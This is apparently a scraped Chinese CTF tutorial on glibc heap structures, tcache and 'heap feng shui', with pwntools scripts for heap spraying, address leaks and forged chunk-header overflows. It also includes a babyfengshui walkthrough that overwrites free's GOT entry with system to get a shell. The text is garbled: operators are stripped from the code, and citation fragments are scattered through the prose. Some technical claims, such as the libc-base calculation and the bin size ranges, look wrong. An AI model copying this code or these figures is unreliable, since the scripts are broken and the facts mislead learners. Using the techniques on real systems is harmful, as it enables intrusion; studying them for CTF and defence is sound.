写在前面在Week8中我们探讨了整数漏洞如何导致堆溢出。本周我们将深入glibc堆管理的核心机制并学习堆风水这一高级技术。堆风水是所有堆漏洞利用稳定性的前提也是CTF比赛中堆题的必杀技。今天我们先从glibc的堆结构精读开始逐步建立堆利用的完整知识体系。 目录glibc堆结构精读chunk与bin的奥秘堆风水方法论精确控制内存布局的艺术实战演练堆风水基础应用总结与预告1. glibc堆结构精读chunk与bin的奥秘1.1 chunk结构解析在glibc的ptmalloc2中堆内存被组织为多个连续的chunk。每个chunk包含头部和用户数据区csdn.netstruct malloc_chunk { size_t prev_size; // 前一个chunk的大小如果空闲 size_t size; // 当前chunk的大小包括头部低3位为标志位 union { struct { malloc_chunk* fd; // 前向指针仅在空闲时使用 malloc_chunk* bk; // 后向指针仅在空闲时使用 }; char user_data[0]; // 用户数据区已分配时 }; };关键标志位PREV_INUSE(0x1): 前一个chunk是否在使用中IS_MMAPPED(0x2): 是否通过mmap分配NON_MAIN_ARENA(0x4): 是否属于非主arena1.2 bin类型详解glibc通过bin来管理空闲chunk不同大小的chunk被放入不同的bin中csdn.net10x20-0x800x90-0x3F8≥0x400其他Chunk被释放大小判断FastbinSmall BinLarge BinUnsorted Bin单链表LIFO双链表FIFO双链表按大小排序双链表FIFO临时存储1.2.1 Fastbin范围0x20到0x80字节64位系统deepwiki.com结构单链表后进先出LIFOcsdn.net特点不会自动合并相邻chunkcsdn.netPREV_INUSE位始终为1防止合并csdn.net分配速度最快1.2.2 Small Bin范围0x20到0x3F8字节64位系统csdn.net结构双链表先进先出FIFOcsdn.net特点同一small bin中的chunk大小相同csdn.net精确匹配大小分配1.2.3 Large Bin范围0x400字节及以上csdn.net结构双链表按大小排序csdn.net特点每个bin包含一定大小范围内的chunkcsdn.net使用fd_nextsize和bk_nextsize指针加速检索csdn.net1.2.4 Unsorted Bin作用临时存放释放的chunk等待整理csdn.net结构双链表先进先出FIFOcsdn.net特点chunk大小可能不同csdn.netmalloc时优先检查unsorted bincsdn.net1.3 Tcache机制glibc 2.26Tcache是glibc 2.26引入的线程缓存机制旨在提高多线程环境下的分配性能csdn.net1。1.3.1 Tcache结构typedef struct tcache_entry { struct tcache_entry *next; // 指向下一个相同大小的空闲chunk } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表指针数组 } tcache_perthread_struct;1.3.2 Tcache特性线程隔离每个线程独立维护tcache无锁竞争csdn.net容量限制每个size最多7个chunkdeepwiki.com优先分配malloc时优先从tcache获取csdn.net优先释放free时优先放入tcache如果未满csdn.net1.3.3 Tcache与Fastbin对比特性TcacheFastbin线程隔离是否数量限制每个size最多7个无硬性限制安全检查几乎无基础检查如double free分配优先级最高次之链表操作单链表单链表details summary Tcache安全机制演进/summaryglibc 2.26-2.27几乎无安全检查可轻易double freecsdn.netglibc 2.29引入key字段检测double freecsdn.netglibc 2.32引入Safe linking机制next指针加密csdn.net现代glibc对齐检查、size验证等// glibc 2.29的tcache_entry结构 typedef struct tcache_entry { struct tcache_entry *next; struct tcache_perthread_struct *key; // 用于检测double free } tcache_entry;/details2. 堆风水方法论精确控制内存布局的艺术2.1 什么是堆风水堆风水是一种通过精确控制堆内存布局为漏洞利用创造可预测环境的技术csdn.net1。它本身不是漏洞而是漏洞利用的使能技术。核心思想通过精心安排堆块的分配和释放顺序使目标数据如函数指针、GOT表项位于可控区域csdn.net。2.2 为什么需要堆风水现代操作系统和编译器引入了多种防护机制ASLR地址空间布局随机化PIE位置无关可执行文件NX栈不可执行Canary栈溢出保护堆风水通过控制内存布局帮助攻击者绕过这些防护机制csdn.net。2.3 堆风水基本步骤步骤1分析漏洞利用需求明确需要控制哪些内存区域如GOT表、函数指针、堆元数据等csdn.net。步骤2设计堆布局根据需求设计理想的堆内存布局包括目标地址的预期位置需要的chunk大小和数量分配和释放顺序步骤3实现堆操控通过以下技术实现堆布局控制堆喷射大量分配特定大小的chunk填充目标地址区间csdn.net堆整形通过分配特定大小的chunk影响堆管理器行为csdn.net碎片化释放部分chunk制造空闲块重新分配以控制排列csdn.net步骤4验证布局使用GDB等工具验证堆布局是否符合预期调整分配释放策略。2.4 堆风水实战技巧技巧1覆盖特定地址范围from pwn import * # 目标覆盖0x56000000~0x58000000区间 # 策略申请0x100个0x20008字节的内存块 for i in range(0x100): malloc(0x20008) # 每个chunk大小为0x20000间隔0x20000 # 填充数据为0x57使地址0x57575757的内容可预测 edit(i, p64(0x57575757) * (0x20008 // 8))技巧2泄露堆地址利用unsorted bin残留的main_arena地址泄露堆基址csdn.net# 释放一个chunk进入unsorted bin free(0) # 利用UAF或输出功能读取fd/bk指针获取main_arena地址 # main_arena地址 泄露的地址 - 96 # libc基址 main_arena地址 - 0x10技巧3控制chunk排列通过交替分配不同大小的chunk控制堆块排列顺序csdn.net# 分配两组不同大小的chunk制造可控排列 malloc(0x20) # chunk0 malloc(0x80) # chunk1 malloc(0x20) # chunk2 malloc(0x80) # chunk3 # 释放chunk0和chunk2它们会进入fastbin # 此时堆布局[free chunk0] [chunk1] [free chunk2] [chunk3] # fastbin: chunk2 - chunk0 - NULLdetails summary 堆风水高级应用babyfengshui案例分析/summary题目背景清华蓝莲花战队的babyfengshui题目存在堆溢出漏洞csdn.net。漏洞分析程序管理用户描述和名称使用两个堆块一个存储描述一个存储用户结构update功能中检查描述长度不能覆盖到名称堆块但假设两个堆块连续csdn.net漏洞如果描述堆块大小可控可以使其不与名称堆块连续从而溢出覆盖下一个用户结构堆风水利用分配多个小描述堆块0x20制造fastbin空闲块释放部分用户在堆中制造间隔分配新用户描述大小为0x80此时描述堆块与名称堆块不连续通过溢出修改下一个用户的描述指针为GOT表地址显示功能泄露GOT表内容获取libc地址修改free的GOT表为system释放/bin/sh字符串获取shell关键点通过堆风水控制堆块排列使溢出能够覆盖目标数据csdn.net。/details3. 实战演练堆风水基础应用3.1 环境准备# 安装pwntools和pwndbg pip3 install pwntools git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh3.2 基础堆风水脚本from pwn import * # 初始化环境 context.arch amd64 context.os linux context.log_level debug # 加载目标程序 p process(./heap_fengshui) elf ELF(./heap_fengshui) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def malloc(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(index): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(index).encode()) def show(index): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(index).encode()) # 1. 堆风水布局创建特定排列的堆块 # 目标在堆中创建一个可控区域用于后续溢出覆盖 # 分配多个小chunk填充fastbin for i in range(7): malloc(0x20, bA * 0x20) # 释放部分chunk制造空闲块 for i in range(0, 7, 2): free(i) # 此时fastbin状态[6] - [4] - [2] - [0] - NULL # 堆布局[free 0] [1] [free 2] [3] [free 4] [5] [free 6] # 2. 分配目标chunk控制其位置 # 我们希望目标chunk位于两个空闲chunk之间便于溢出 malloc(0x80, bB * 0x80) # 这个chunk会从unsorted bin分配位置可控 # 3. 利用漏洞假设有堆溢出 # 通过溢出修改相邻chunk的元数据 # 这里模拟一个溢出漏洞 payload bC * 0x20 # 填充当前chunk payload p64(0) p64(0x31) # 伪造下一个chunk的头部 payload p64(0x4141414141414141) # 伪造fd指针 payload p64(0x4242424242424242) # 伪造bk指针 # 发送溢出payload p.sendlineafter(bchoice: , b4) p.sendlineafter(bindex: , b7) p.sendlineafter(bsize: , str(len(payload)).encode()) p.sendlineafter(bcontent: , payload) # 4. 验证堆布局 # 使用GDB检查堆状态 # gdb.attach(p) # pause()3.3 调试与验证使用GDB pwndbg检查堆布局# 在GDB中 pwndbg heap pwndbg vis pwndbg bins预期输出Heap Dump: 0x555555559000: 0x0000000000000000 0x0000000000000031 [chunk0] 0x555555559010: 0x4141414141414141 0x4141414141414141 0x555555559020: 0x0000000000000000 0x0000000000000031 [chunk1] 0x555555559030: 0x4242424242424242 0x4242424242424242 ...4. 总结与预告4.1 核心知识点总结glibc堆结构是堆利用的基础不同bin类型管理不同大小的chunkcsdn.net1Tcache机制改变了堆漏洞利用格局提供了新的攻击面csdn.net1堆风水是所有堆题稳定利用的前提通过控制内存布局为漏洞利用创造条件csdn.net1堆风水核心是精确控制堆块分配释放顺序使目标数据位于可控区域csdn.net4.2 易错点与注意事项不同glibc版本差异Tcache行为、安全检查机制不同csdn.net堆布局不可预测ASLR、堆随机化使堆地址难以预测需信息泄露csdn.netchunk对齐64位系统chunk大小按0x10对齐csdn.net合并机制释放chunk时可能合并相邻空闲chunkcsdn.net4.3 进阶学习路径details summary 推荐学习路径/summary源码分析精读glibc malloc源码理解分配释放流程csdn.net漏洞利用技术学习UAF、Double Free、Fastbin Attack等具体技术csdn.net1高级利用技术掌握House of系列、Tcache Poisoning等高级技术csdn.net1实战练习通过CTF题目巩固知识如babyfengshui、heapcreator等csdn.net/details4.4 下篇预告下一篇我们将深入学习UAF漏洞利用包括UAF漏洞原理与利用条件Double Free传统版与Tcache版伪造堆块技术Tcache Poisoning原理与实战实战案例利用UAF获取shell 知识图谱总结glibc堆结构与堆风水堆结构精读chunk结构:prev_size:size:fd/bk指针bin类型0x20-0x800x20-0x3F8≥0x400:Unsorted BinTcache机制:线程缓存:每个size最多7个:优先分配释放堆风水方法论核心思想:控制内存布局:创造可预测环境基本步骤:分析利用需求:设计堆布局:实现堆操控:验证布局实战技巧:堆喷射:堆整形:碎片化实战应用环境准备:pwntools:pwndbg基础脚本:堆布局控制:漏洞触发调试验证:GDB检查:堆可视化最终结论glibc堆结构和堆风水是堆漏洞利用的基石。理解堆管理机制和内存布局控制技术是掌握堆利用的关键。在接下来的学习中我们将深入探讨具体的漏洞利用技术逐步构建完整的堆利用知识体系csdn.net1。参考文献掌握Glibc 2.26 tcache:内存管理新利用与攻防策略堆风水:内存布局操控与漏洞利用的高级技术Heap Exploitationglibc堆概述(笔记2)堆深入学习记录2 青训营关于堆的一些数据结构(个人笔记)别再只盯着Fastbin了聊聊glibc 2.26引入Tcache后堆漏洞利用格局的’新常态’与防御思路【学习笔记】CTF PWN选手的养成(三)